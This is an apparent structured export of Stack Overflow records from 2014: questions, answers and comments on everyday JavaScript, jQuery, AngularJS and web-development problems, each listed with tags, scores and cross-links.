has text: @Peege151 Make sure amount is set when you make the ajax request. You should make the ajax request after the token is generated and the amount is selected. You can use tools like HTTPScoop to debug ajax requests. http://www.tuffcode.com/
type: AnswerComment
comment on: http://stackoverflow.com/a/25779029
type: Comment
score: 0

http://stackoverflow.com/q/25856050
has comment: http://stackoverflow.com/comment/40457465
linked to: http://stackoverflow.com/q/13068267
score: 0
tagged with: javascript
has body: I have a number of different xml formats I have to convert to a standard format. I could manually map but if I could get a programmatic solution working from a basic GUI that would save me loads of time! I'm using JS so having converted the xml to js I now have 2 js object structures. A standard target structure I want to transform data to and the provided data. I want to pick which source values get mapped to target values. What's the best way to store the object structure for the mapping. the '.' notation doesn't convert back to an object easily. is their an easier solution? eg source { "Resort": { "ResortCode": "ADH", "ResortName": "ABU DHABI", "CountryCode": "AE", "ArrPoints": [ { "ArrPoint": "AUH" }, { "ArrPoint": "AXH" } ] } } mappings { _key: 'Resort.ResortCode', name: 'Resort.ResortName', location: 'Resort.CountryCode' route: 'Resort.ArrPoints.ArrPoint' } end result target structure and data result { _key: "ADH", name: "ABU DHABI", location: "AE", route: ["AUH","AXH"] }
duplicate of: http://stackoverflow.com/q/1618038
type: UnansweredQuestion
answer count: 0
has title: Mapping values in javascript
has comment: http://stackoverflow.com/comment/40458586
linked to: http://stackoverflow.com/q/1618038
type: Question

http://stackoverflow.com/comment/40319455
has text: The above code is working in Chrome and Firefox but not in IE !! What might be the problem?
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/25780226
type: Comment

http://stackoverflow.com/q/25807230
type: UnansweredQuestion
type: Question
linked to: http://stackoverflow.com/q/2591098
tagged with: javascript
has answer: http://stackoverflow.com/a/25807542
score: 0
answer count: 3
has comment: http://stackoverflow.com/comment/40369311
has answer: http://stackoverflow.com/a/25808284
has title: Sending notification to GMail contact list of user
tagged with: google-api
linked to: http://stackoverflow.com/q/20017487
has answer: http://stackoverflow.com/a/25807472
has body: I want to send notification to GMail contact list of user. I am using this Google API code to fetch data: var request = gapi.client.plus.people.list({ 'userId': 'me', 'collection': 'visible' }); request.execute(function(resp) { console.log('Num people visible:' + resp.totalItems); console.log('JSON :: ' +JSON.stringify(resp) ); }); I got all information in this form, except email of the user: { "kind":"plus#person", "etag":"\"L2Xbn8bDuSErT6QA3PEQiwYKQxM/Cq8-fpfOKA7mSHBXOGvh5cXBraw\"", "objectType":"person", "id":"109949183447768127130", "displayName":"Abhishek Singh", "url":"https://plus.google.com/+AbhishekSinghLKO", "image":{"url":"https://lh5.googleusercontent.com/-usIXgWialjY/AAAAAAAAAAI/AAAAAAAAAZ4/9G29gXNfwu0/photo.jpg?sz=50"} }, Is there any way to find all email ID corresponding to the data which I got from JSON?

http://stackoverflow.com/comment/98028217
score: 0
comment on: http://stackoverflow.com/a/52832879
type: Comment
has text: That's not guaranteed to work in all browsers! so you should write something like this : if(window.performance){ // your performance related code } also it's better to use TYPE_BACK_FORWARD instead of 2 for more readability.
type: AnswerComment

http://stackoverflow.com/a/26462315
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25787058
answers question: http://stackoverflow.com/q/25787058
has body: worked it out, you have to use the ReportServer URL link, not the Reports on its own... http://yourservername/ReportServer/Pages/ReportViewer.aspx?%2fdatabasename%2freportname&amp;rs:Command=Render&amp;parameter=1 adding &amp;rs:Format=PDF displays it as a PDF... and for Lightswitch it works using the following: var param1 = screen.tablename.param1 window.open("http://yourservername/ReportServer/Pages/ReportViewer.aspx?%2fdatabasename%2freportname&amp;rs:Command=Render&amp;parameter=1" + param1 + "&amp;rs:Format=PDF");

http://stackoverflow.com/comment/40200412
score: 1
type: Comment
type: QuestionComment
has text: [`marquee`](http://www.w3.org/wiki/HTML/Elements/marquee) has been burnitated just like [`blink`](http://www.w3.org/wiki/HTML/Elements/blink).
comment on: http://stackoverflow.com/q/25715941

http://stackoverflow.com/q/25734868
downvote count: 0
tagged with: javascript
has body: Is it possible to write tags as strings using document.write()? var myWindow= window.open('', '', 'width=500, height=500'); document.write("&lt;h1&gt; Hello! &lt;/h1&gt;" This would write Hello! but the ouput I desire is -> Hello! with the tags &lt;h1&gt; and &lt;/h1&gt;.
accepted answer: http://stackoverflow.com/a/25734922
has comment: http://stackoverflow.com/comment/40236787
answer count: 1
score: 1
has comment: http://stackoverflow.com/comment/40236191
favorite count: 0
has comment: http://stackoverflow.com/comment/40236418
upvote count: 1
has comment: http://stackoverflow.com/comment/40236573
type: AnsweredQuestion
has title: How to write tags as strings using document.write()?
has answer: http://stackoverflow.com/a/25734922
linked to: http://stackoverflow.com/q/18749591
has comment: http://stackoverflow.com/comment/40236213
type: Question
has comment: http://stackoverflow.com/comment/40236231
has comment: http://stackoverflow.com/comment/40236229

http://stackoverflow.com/comment/40313010
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25776686
type: Comment
has text: Code–only answers aren't liked. You should add an explanation of why the OP failed and why your answer fixes it.

http://stackoverflow.com/comment/63131939
score: 1
has text: For the internal pages I mean angular handles the complete routing for your app for html pages, look at the meanjs org they handle that using the same logic I described on my answer
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25789102

http://stackoverflow.com/a/25753841
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40272386
has comment: http://stackoverflow.com/comment/40295944
type: Answer
has comment: http://stackoverflow.com/comment/40393553
has body: Clean up your code like this: Simple Pension Calculator Present Basic (Basic including Grade Pay + NPA) Years of Service Existing DA (%) Calculate Results Your Gratuity: Your Basic Pension: Your Pension: Style the results span with CSS class instead of inline: .resultspan { font-size: 52px; font-weight: bold; } In the script, pbasic, gratuity and total are not read from the DOM but rather set during calculation, so initialize them to zero. When reading other values from the inputs, you can use parseInt() to ensure the text is converted to integers before using them in the calculations: $('#calc').on('click', function() { //event.preventDefault(); var basic = parseInt($('#basic').val()), da = parseInt($('#da').val()), years = parseInt($('#years').val()), pbasic = 0, gratuity = 0, total = 0; basic = basic + (basic*da/100); pbasic = basic/2; da = pbasic*da/100; gratuity = (basic) + ((da))*15/26 * years; if (gratuity > 1000000) gratuity = 10000000; total = (pbasic) + (da); gratuity = gratuity.toFixed(2); pbasic = pbasic.toFixed(2); total = total.toFixed(2); $('#results #gratuity').text(gratuity); $('#results #pbasic').text(pbasic); $('#results #total').text(total); }); Working DEMO
has comment: http://stackoverflow.com/comment/40321028
has comment: http://stackoverflow.com/comment/40280219
accepted answer of: http://stackoverflow.com/q/25751868
answers question: http://stackoverflow.com/q/25751868
score: 0
has comment: http://stackoverflow.com/comment/40273064

http://stackoverflow.com/a/32304337
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/25792728
score: 1
has body: Also have same problem but solved it using jquery. Just put your textarea on a container and replace bkLib.onDomLoaded(nicEditors.allTextAreas); with this bkLib.onDomLoaded(function() { nicEditors.allTextAreas(); jQuery('.ne-except').each(function(){ $parent = jQuery(this).parent(); $parent.children('div').hide(); $parent.children('textarea').show(); }); }); just add the class ne-except to textarea that you want to exclude. heres my fiddle: http://jsfiddle.net/gozonjoedaimar/9y933f1c/6/ Update: Found out that using this method, textareas inside a form does not post the textareas' value. It uses the value inside the div.nicEdit-main. Use the code below to fix this problem. bkLib.onDomLoaded(function() { nicEditors.allTextAreas(); jQuery('.ne-except').each(function(){ jQuery(this).prev().prev().hide(); jQuery(this).prev().hide(); jQuery(this).on('keyup',function(){ jQuery(this).prev() .find('.nicEdit-main') .html(jQuery(this).val()); }); jQuery(this).show(); }); }); Also updated the code to be independent unlike the previous solution that depends on a div element.
upvote count: 1

http://stackoverflow.com/comment/40485746
type: AnswerComment
comment on: http://stackoverflow.com/a/25870176
type: Comment
has text: @gamliel I guess he said 'blank', not 'black' :)
score: 0

http://stackoverflow.com/q/25717238
has title: How to show/hide div when a value is assigned to an input
score: 0
linked to: http://stackoverflow.com/q/3179385
has answer: http://stackoverflow.com/a/25717504
answer count: 3
tagged with: jquery
has comment: http://stackoverflow.com/comment/40202764
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25717552
type: Question
has answer: http://stackoverflow.com/a/25717261
has comment: http://stackoverflow.com/comment/40202949
has body: I am trying to automatically show a div when a value is assigned to a input element. So far i am using keyup function, but this works only if i typed in a value. How can i show/hide a div if the value is assigned to the input without me typing it in? Here is what i have. &lt;script&gt; $("#ven_id").keyup(function(){ if($(this).val()) { $(".inv_item").slideDown(500); } else { $(".inv_item").slideUp(500); } }); &lt;/script&gt; any suggestions?
tagged with: javascript

http://stackoverflow.com/comment/40377257
type: QuestionComment
comment on: http://stackoverflow.com/q/25812093
score: 0
has text: I can add something that is somewhat representative of what's going on, but I can't add the vendor-supplied validation scripts that would replicate the functionality. Is that still helpful?
type: Comment

http://stackoverflow.com/a/25738182
has comment: http://stackoverflow.com/comment/40267680
upvote count: 1
type: Answer
downvote count: 0
score: 1
has body: You can do following: open [projectFolder]/nbproject/plugins.properties file paste following at the end of file SpeechRecognizer=https://github.com/poiuytrez/SpeechRecognizer.git build project The plugins.properties file contains list of used plugins. Some "core" plugins can be added/removed easily in project properties but for 3rd party/unknown plugins, you need to manually modify the file (it is also mentioned in project properties dialog ->Cordova->Plugins) Edit: The pasted line could look like com.phonegap.plugins.speech=https://github.com/poiuytrez/SpeechRecognizer.git or com.phonegap.plugins.speech.SpeechRecognizer=https://github.com/poiuytrez/SpeechRecognizer.git in case of some issues (I was able to build the project with the 1st line with friendly name but in case there is some catch, try this name instead)
answers question: http://stackoverflow.com/q/25730702
has comment: http://stackoverflow.com/comment/40268691

http://stackoverflow.com/comment/40347652
score: 0
type: Comment
has text: Also how do I do it without ng-app?
comment on: http://stackoverflow.com/a/25793471
type: AnswerComment

http://stackoverflow.com/q/25848347
tagged with: livescript
type: Question
answer count: 2
tagged with: prelude.ls
possible better answer: http://stackoverflow.com/a/33372644
downvote count: 0
tagged with: javascript
has title: Use prelude-ls with LiveScript
has body: I just need to use prelude-ls library in LiveScript, but no from the REPL. In my little test, I have 4 files: main.htm application.ls application.js require.js I have the latest version of require.js (2.1.15) and in my main.htm I load the scripts: Then, I go to my application.ls to test: require! 'prelude-ls' [1 2 3] |> prelude-ls.map (* 2) My compile command is: lsc -cwd $myFilePath And it compiles just fine. Then, I go there to get the final result, to test and receive the following error: Uncaught Error: Module name "prelude-ls" has not been loaded yet for context: _. Use require([]) Well, I saw the this is a very common error and its corrections would happen in the js file, not in the ls and none of the links I followed solved my problems. I've tried it in 2 computers and had the really same result. My final js file, application.js is: // Generated by LiveScript 1.2.0 (function(){ var preludeLs; preludeLs = require('prelude-ls'); preludeLs.map((function(it){ return it * 2; }))( [1, 2, 3]); }).call(this); Plase, help me if possible. I really read all the documentation of livescript and it doens't cites its first use with prelude-ls.
favorite count: 0
upvote count: 2
has answer: http://stackoverflow.com/a/25848400
score: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/20382364
accepted answer: http://stackoverflow.com/a/25848400
has answer: http://stackoverflow.com/a/33372644

http://stackoverflow.com/a/25854808
accepted answer of: http://stackoverflow.com/q/25853571
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25853571
upvote count: 2
type: AcceptedAnswer
has body: I guess one more condition is missing here: fiddle $('#listCheck').keyup(function(){ var valThis = $(this).val().toLowerCase(); console.log(valThis) $('.mylist&gt;li').each(function(){ var text = $(this).text().toLowerCase().split(' '); console.log(text) var text1 = text[0]; var text2 = text[1]; var text3 = text[0] + " " + text[1]; var text4 = text[1] + " " + text[0]; ((text1.indexOf(valThis) == 0) || (text2.indexOf(valThis) == 0) || (text3.indexOf(valThis) == 0) || (text4.indexOf(valThis) == 0)) ? $(this).show() : $(this).hide(); }); });
type: Answer

http://stackoverflow.com/q/25725303
has comment: http://stackoverflow.com/comment/40218198
accepted answer: http://stackoverflow.com/a/25725392
possible better answer: http://stackoverflow.com/a/25725400
type: AnsweredQuestion
tagged with: cordova
has answer: http://stackoverflow.com/a/25725392
type: Question
tagged with: javascript
has body: i want to build a small stopwatch in javascript. The Problem is that the variables that store the time (seconds, minutes, hours) are always undefined and dont increase. I dont finde the misstake! Whats the problem here? Any solutions? Test.timer = { seconds : 0, minutes : 0, hours : 0, timeout : null, running : 0, tick: function() { var self = this; self.timeout = setTimeout(self.add, 1000); }, add: function() { var self = this; self.seconds++; if (self.seconds &gt;= 60) { self.seconds = 0; self.minutes++; if (self.minutes &gt;= 60) { self.minutes = 0; self.hours++; } } var time = document.getElementById("time"); time.textContent = (self.hours ? (self.hours &gt; 9 ? self.hours : "0" + self.hours) : "00") + ":" + (self.minutes ? (self.minutes &gt; 9 ? self.minutes : "0" + self.minutes) : "00") + ":" + (self.seconds &gt; 9 ? self.seconds : "0" + self.seconds); self.tick(); }, start: function() { var self = this; if (self.running == 0) { self.running = 1; self.tick(); } }, stop: function() { var self = this; self.running = 0; clearTimeout(self.timeout); } }; The result i get in the time label is: "00:00:0NaN"! Please help..
has answer: http://stackoverflow.com/a/25725400
has title: Number Variables are always undefined
score: 0
answer count: 2
tagged with: stopwatch
tagged with: web

http://stackoverflow.com/comment/40378022
comment on: http://stackoverflow.com/a/25807416
type: AnswerComment
has text: @AndrewAllbright: Your example wasn't passing any children. This works: http://codepen.io/ssorallen/pen/Dyjmk
type: Comment
score: 1

http://stackoverflow.com/q/25762046
upvote count: 1
tagged with: dojo
type: AnsweredQuestion
tagged with: dijit.form
accepted answer: http://stackoverflow.com/a/25764333
score: 1
type: Question
answer count: 2
downvote count: 0
tagged with: javascript
has title: How can I eliminate lag and fix partial match searches in a dojo FilteringSelect widget?
has body: I'm having trouble making a dijit/form/FilteringSelect widget behave itself. I suspect my combination of options is just off, but I can't seem to hit on the right pattern. My data source is a list of book names, and I would like the user to be able to use the widget either by either pulling down the menu and selecting an option or typing in part of a name and getting a match. The tricky part is the filter that happens on typing in a value needs to happen with wild card matches on both ends because it is quite likely that the word typed will be the second word in the name. My problem is with setting an appropriate search delay and with what continuing to type after a search happens. First, the default search delay of 200ms works fine as long as you can keep typing, but with queryExpr set to *${0}* this seems to be broken. When you continue typing you start up with the prefix of the current match instead of only what you had typed so far. The only way I got this to be usable at all is setting a much larger delay (500ms) and hoping people don't make many typing mistakes. This has the undesired effect of delaying the drop down menu. var books_widget = new FilteringSelect({ placeHolder: "Kitap", store: book_list_store, style: 'width: 12em', searchAttr: "name", autocomplete: false, highlightMatch: 'first', ignoreCase: true, queryExpr: '*${0}*', searchDelay: 500 }); books_widget.placeAt(wrapper_node); Is there... ...any way to decouple the searchDelay from the dropdown menu triggered with the mouse so that the UI does not have pointless lag? ...a proper way to arrange the settings such that when typing in a partial match, the search function does not destroy the existing entry and you can continue to type characters extending the pattern?
has answer: http://stackoverflow.com/a/25764333
has answer: http://stackoverflow.com/a/28615565
favorite count: 0
possible better answer: http://stackoverflow.com/a/28615565

http://stackoverflow.com/q/25814894
has answer: http://stackoverflow.com/a/25815487
tagged with: regex
type: AnsweredQuestion
type: Question
tagged with: javascript
has title: Match repeating pattern using single group in regex
score: 0
has body: Using the JS regex object, is it possible to match a repeating pattern using a single, or few groups? For instance, taking the following as input: #222&lt;abc#321cba#123&gt;#111 Would it be possible to match both "#321" and "#123" (but not #222 or #111, as they're outside the /&lt;.*?&gt;/ group) using a regex similar to: /&lt;.*?(?:(#[0-9]+).*?)&gt;/ (which currently only matches the first instance), when the number of matches in the input is unknown?
accepted answer: http://stackoverflow.com/a/25815487
answer count: 1
has comment: http://stackoverflow.com/comment/40382492
has comment: http://stackoverflow.com/comment/40382447
has comment: http://stackoverflow.com/comment/40383018

http://stackoverflow.com/a/25815041
score: 2
answers question: http://stackoverflow.com/q/25815013
has comment: http://stackoverflow.com/comment/40383026
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25815013
has body: document.getElementsByName('fdate') returns an array, or more accurately a NodeList. Use document.getElementsByName('fdate')[0].value See https://developer.mozilla.org/en-US/docs/Web/API/document.getElementsByName
has comment: http://stackoverflow.com/comment/40383069
type: AcceptedAnswer
upvote count: 2
type: Answer

http://stackoverflow.com/q/25829155
accepted answer: http://stackoverflow.com/a/25829205
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40408423
downvote count: 0
possible better answer: http://stackoverflow.com/a/25829179
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
has body: http://jsfiddle.net/b1ekda2j/1/ my html &lt;dd&gt; &lt;br&gt;作詞：汪峰 &lt;br&gt;作曲：汪峰 &lt;br&gt; &lt;br&gt;他們將你狠狠地遺棄在街口 &lt;br&gt;流血的腦袋出現混亂的幻覺 &lt;br&gt;你是否在懷疑你拼死的付出 &lt;br&gt;是否再一次質疑堅守的信仰 my js $(document).ready(function () { $('br').each(function () { var nodeValue = this.nextSibling.nodeValue; console.log(nodeValue); if (nodeValue.indexOf(':') &gt; -1) { $(this.nextSibling).remove(); $(this).remove(); } }); }); I want to remove &lt;br&gt; that contain the symbol of : but it doesn't work by using indexOf, why? I console nodeValue, it did selected the correct DOM.
upvote count: 2
has title: nodeValue and indexOf doesn't work in my case
has answer: http://stackoverflow.com/a/25829179
favorite count: 0
has answer: http://stackoverflow.com/a/25829205

http://stackoverflow.com/q/25832719
has answer: http://stackoverflow.com/a/25833061
accepted answer: http://stackoverflow.com/a/25833061
tagged with: http://stackoverflow.com/tag/html
tagged with: angularjs
has title: How to run AngularJS service with dynamic data-websockets
type: AnsweredQuestion
type: Question
possible better answer: http://stackoverflow.com/a/25833039
answer count: 2
has answer: http://stackoverflow.com/a/25833039
has body: I am new to angular and try to work with data that server sends periodically. I have one main html page and set a main angular js file. In the main page, I am navigating sub html pages through ngRoute from man html page. This is my main.js. var serviceMod = angular.module("service", ['ngRoute']); serviceMod.config(['$routeProvider', function($routeProvider) { $routeProvider. when('/sell', { templateUrl: 'sellstats.html', controller: 'sellstats' }). when('/cache-service', { templateUrl: 'buy.html', controller: 'buyingstats' }). otherwise({ redirectTo: '/home.html' }); }]); my main.js connects to a server in web sockets. var socket = new SockJS(URL); stompClient = Stomp.over(socket); And it takes responses every 10 seconds. I want to send these results into those sub html pages through angular and the sub angular functions in sub html files should be able to have those updated last received responses through websockets.(I use angular 1.2) Please let me know 1.How I can bound dynamic data which received through websockets ? 2. How the sub angular js functions in sub html pages will access updated values ?
tagged with: websocket
tagged with: javascript
score: 0

http://stackoverflow.com/a/25848688
downvote count: 1
has comment: http://stackoverflow.com/comment/40444112
has comment: http://stackoverflow.com/comment/40443915
answers question: http://stackoverflow.com/q/25848411
score: 0
has comment: http://stackoverflow.com/comment/40444129
has comment: http://stackoverflow.com/comment/40444202
has comment: http://stackoverflow.com/comment/40443806
has comment: http://stackoverflow.com/comment/40444042
has comment: http://stackoverflow.com/comment/40443856
has comment: http://stackoverflow.com/comment/40443989
type: Answer
has comment: http://stackoverflow.com/comment/40443967
has body: Firstly it could all be done in JavaScript with a :hover added to the selected rule, BUT if you want the color to be removed on click, the best option would be to use a second class. CSS: div{ width: 150px; height: 150px; background-color: blue; display: inline-block; } div.active, div.hoverActive{ background-color: red; } JavaScript: $("div").hover( function() { $(this).addClass('hoverActive'); }, function() { $( this ).removeClass('hoverActive'); } ); $( "div" ).click(function(){ var div = $(this); div.toggleClass('active'); if (!div.is(".active")) { div.removeClass("hoverActive"); } }); JSFiddle: http://jsfiddle.net/f1p0ahmk/1/
has comment: http://stackoverflow.com/comment/40444044
upvote count: 1
has comment: http://stackoverflow.com/comment/40443931

http://stackoverflow.com/a/25833372
accepted answer of: http://stackoverflow.com/q/25828747
answers question: http://stackoverflow.com/q/25828747
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40422589
downvote count: 0
has comment: http://stackoverflow.com/comment/40450354
type: Answer
score: 1
upvote count: 1
has body: Unfortunately, no. Working with THREE.js requires you to be in an actual browser window that has WebGL support ( or canvas support if you're going to use the fallback ).

http://stackoverflow.com/comment/55904898
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25794405
has text: @speedracer2003, looks like google no longer supports that api, the error message is "This API is no longer available."

http://stackoverflow.com/comment/40424965
score: 0
comment on: http://stackoverflow.com/q/25838010
type: Comment
type: QuestionComment
has text: Sequelize initializes it internally, you have nothing to do with it in your code, as far as I understand. It's same pattern used in any url, when you give ORM function to describe your model, and ORM does the rest.

http://stackoverflow.com/comment/40339334
has text: der ok i read a little closer... see this answer: http://stackoverflow.com/a/1901903/152640
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/25791535

http://stackoverflow.com/comment/40355108
has text: But if he's already using underscore.js, why should he use a polyfill?
comment on: http://stackoverflow.com/a/25796742
type: AnswerComment
type: Comment
score: 0

http://stackoverflow.com/comment/40417398
type: AnswerComment
type: Comment
score: 0
has text: And i have used this code in two pages. in one page its working fine but in another its giving error. TypeError: $(...)[0].submit is not a function. Can you tell how can i resolve this
comment on: http://stackoverflow.com/a/25832183

http://stackoverflow.com/q/25753503
has comment: http://stackoverflow.com/comment/40271454
tagged with: angularjs
has body: In the following code snippet I need to pull the callclass attribute off the element AFTER the template has been compiled and replaced. Whenever I try and get the attr object it references the parent element not the replaced template on which the attributes exist. How can I fix this? app.directive('servicedesk', ['_sys_ctx', '_sys_servicedesk', '_sys_dictionary', function(_sys_ctx, _sys_servicedesk, dictionary) { return { restrict: "E", scope: true, templateUrl: "partials/directives/servicedesk.html", link: function(scope, elem, attr) { scope.data = _sys_servicedesk.retrieve(_sys_ctx); scope.scopename = "servicedesk_directive"; var callclasses = dictionary.define('callclass'); console.log(callclasses); attr.$observe('callclass', function(value) { console.log(value) }); scope.callclass = callclasses[attr.callclass]; } } } ]); Here is the template {{callclass}} {{record.name}} {{record.phone}} {{record.email}} {{record.summary}} {{record.description}} {{record.status}} And the view that the servicedesk element resides in has nothing more than this If it is relevant the view has its own controller as well. Everything renders fine except for the callclass because when I try to even log the elem or attrs objects from inside the link function is references the element not the replacement template.
has title: angularjs link happens before replace
accepted answer: http://stackoverflow.com/a/25757931
tagged with: angularjs-directive
has answer: http://stackoverflow.com/a/25757931
type: AnsweredQuestion
tagged with: javascript
type: Question
has comment: http://stackoverflow.com/comment/40271788
score: 0
answer count: 1

http://stackoverflow.com/q/25788068
has answer: http://stackoverflow.com/a/29027245
has comment: http://stackoverflow.com/comment/40370009
tagged with: ibm-mobilefirst
has comment: http://stackoverflow.com/comment/40369697
type: UnansweredQuestion
tagged with: facebook
has comment: http://stackoverflow.com/comment/40369671
has comment: http://stackoverflow.com/comment/40333307
has body: I am working on Facebook Login in Worklight(demo appliction to check facebook integration) ,i have implemented Login Button using Facebook Javascript SDk here's my code Facebook Login JavaScript Example Facebook Page <fb:login-button scope="public_profile,email" onlogin="checkLoginState();"> </fb:login-button> When i run the application on Worklight Android Simulator the login button is displayed but on Login Button click i get an error what is this error ? And now when i am trying to run the android project (created by worklight) on Android Emulator it does not display the Login Button is it related to re-direct url ? or call back url ? i have tried googling a lot but nothing is working what does that ERROR mean ? can any1 help ?
has comment: http://stackoverflow.com/comment/40333230
type: Question
has title: Worklight Facebook Login Button not displaying on Android Emulator
answer count: 1
tagged with: javascript
has comment: http://stackoverflow.com/comment/40370859
score: 0
tagged with: android

http://stackoverflow.com/comment/40285259
has text: Thanks. I've tried the above and it brings up the original alert 5 times rather than the new one. I will do some more research and play around with this.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25761637

http://stackoverflow.com/q/25857566
has comment: http://stackoverflow.com/comment/40460427
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40460417
accepted answer: http://stackoverflow.com/a/25857620
has body: I'd like to hide and show a div(jQuery toggle()). This is an example of my code: Programming box 1 software box 2 It doesn't work and Firebug doesn't show me an error message. Can you help me ?
has answer: http://stackoverflow.com/a/25857656
tagged with: css
possible better answer: http://stackoverflow.com/a/25857656
type: AnsweredQuestion
has title: Hide and show multiple div
has answer: http://stackoverflow.com/a/25857661
has answer: http://stackoverflow.com/a/25857620
has comment: http://stackoverflow.com/comment/40460475
type: Question
has comment: http://stackoverflow.com/comment/40460390
has comment: http://stackoverflow.com/comment/40460411

http://stackoverflow.com/q/25841288
tagged with: javascript
tagged with: ajax
score: 0
duplicate of: http://stackoverflow.com/q/1197575
has title: how to make js functionable in document loaded via ajax? (with pure js)
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40431542
linked to: http://stackoverflow.com/q/1197575
has comment: http://stackoverflow.com/comment/40431048
has body: My js code is not working with document loaded via ajax. Below is ajax code : var xhr; xhr = new XMLHttpRequest(); function xhrDocOpen(doc,placeID){ xhr.onreadystatechange=function(){ if(xhr.readyState==4 &amp;&amp; xhr.status==200){ document.getElementById(placeID).innerHTML=xhr.responseText; } } xhr.open('GET',doc,true); xhr.send(); } As you see, it's pure js code. do not using jquery. I saw some of solutions in here, they were all using jquery..(example: success {js code}) But I want to solve the problem with pure js code. How can I do that?
has answer: http://stackoverflow.com/a/25841674
type: Question
answer count: 1

http://stackoverflow.com/q/25763999
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25764112
accepted answer: http://stackoverflow.com/a/25764112
favorite count: 0
answer count: 4
has comment: http://stackoverflow.com/comment/40288962
has answer: http://stackoverflow.com/a/25764141
linked to: http://stackoverflow.com/q/5612128
has answer: http://stackoverflow.com/a/38968996
type: AnsweredQuestion
downvote count: 0
score: 1
possible better answer: http://stackoverflow.com/a/25764081
linked to: http://stackoverflow.com/q/18874185
has title: jQuery - Get table cell value
has body: I have a table which looks like the following. The price normally comes from a database this is just for showing the problem I have. $(document).ready(function() { $(document).delegate('.amount input[type="text"]','keyup',(function() { var $this = $(this); var sub_total = $this.find('.sub_total'); var price = $this.find('.price').text(); var amount = $this.val(); alert(price); })); }); Ticket: 20,50 What I would like to do is: when the user types a number in the field tickets it should update the field sub_total. With the jQuery I have this is not working. When I alert(price) I get undefined. So I wonder how to make the sub_total field with auto updated values. It might also be interesting to know that I have more rows like this beneath this row. So the script should only update the field from one specific row at a time. What I already tried but without success: How to get a table cell value using jQuery; How to get a table cell value using jQuery?; How to get table cell values any where in the table using jquery Thanks in advance.
type: Question
upvote count: 1
linked to: http://stackoverflow.com/q/376081
has answer: http://stackoverflow.com/a/25764081
has comment: http://stackoverflow.com/comment/40288977

http://stackoverflow.com/comment/40261140
has text: Sorry I misread the question thinking he just got it while testing.
comment on: http://stackoverflow.com/a/25748572
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40339581
has text: @TrueBlueAussie Jquery.Validate 1.10.0
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25791140

http://stackoverflow.com/a/25849458
score: 1
answers question: http://stackoverflow.com/q/25739387
upvote count: 1
downvote count: 0
has body: Meshaal made a prediction in the question: "... one will either be a boolean or a function that returns a boolean." "... first function, if it exists, will always return a boolean." With this prediction the function is not a Turing Machine, because we know that it returns something. Surely it can't be done with a simple RegExp: just return !0 would break the example. But if you parse the result of function.toString() with a parser being intelligent enough to find all possible return points, the problem should principally be solvable.
type: Answer

http://stackoverflow.com/comment/40303209
has text: i appriciated thanks, but sorry i want user to be able to see datepicker also if mouseout, i just want it to close on click ousidet of it :P
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25771636

http://stackoverflow.com/comment/40330318
comment on: http://stackoverflow.com/a/25786706
type: AnswerComment
has text: You know its duplicate then, Why did you not closed it?
score: 0
type: Comment

http://stackoverflow.com/q/25834321
has comment: http://stackoverflow.com/comment/41910658
downvote count: 0
tagged with: jquery
has body: ive done researching on how to determine whether a browser plugin is blocked / unblocked from the current browser in order to suggest user how to unblock required plugin before operating some website functions My plugin is { "mime": "application/x-rbjnloguploader,version=2.7.200.8", "name": "RBlue Jeans Video Plugin", "description": "RBlue Jeans Video Plugin", "filename": "nprbjnplugin_2.7.200.8.dll" } After doing research on some pages as follow https://developer.mozilla.org/en-US/Add-ons/Plugins/Site_Author_Guide_for_Click-To-Activate_Plugins https://developer.mozilla.org/en-US/docs/Web/API/NavigatorPlugins.plugins#Specification Possibly, can it be able to detect crossing browsers? Appreciate any help
has comment: http://stackoverflow.com/comment/40429773
favorite count: 0
type: UnansweredQuestion
has title: Check if a browser plugin is blocked or unblocked
tagged with: browser-plugin
answer count: 0
score: 1
upvote count: 1
type: Question
tagged with: javascript
tagged with: jquery-plugins
has comment: http://stackoverflow.com/comment/40417854
has comment: http://stackoverflow.com/comment/40443126

http://stackoverflow.com/comment/40470666
type: Comment
has text: @Html.Raw(Json.Encode(Model.Template), Here `Json doesn't exist in the current context` problem
comment on: http://stackoverflow.com/a/25863173
score: 0
type: AnswerComment

http://stackoverflow.com/comment/40195039
type: QuestionComment
has text: Is it possible to compile C to LLVM purely using Javascript? I don't understand how to do such a thing.
type: Comment
comment on: http://stackoverflow.com/q/25713194
score: 0

http://stackoverflow.com/q/25808310
has answer: http://stackoverflow.com/a/25809353
score: 1
upvote count: 1
has title: multiple bootstrap modal windows in page
type: Question
tagged with: javascript
tagged with: jquery
answer count: 3
has answer: http://stackoverflow.com/a/25808432
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
favorite count: 0
has answer: http://stackoverflow.com/a/25811132
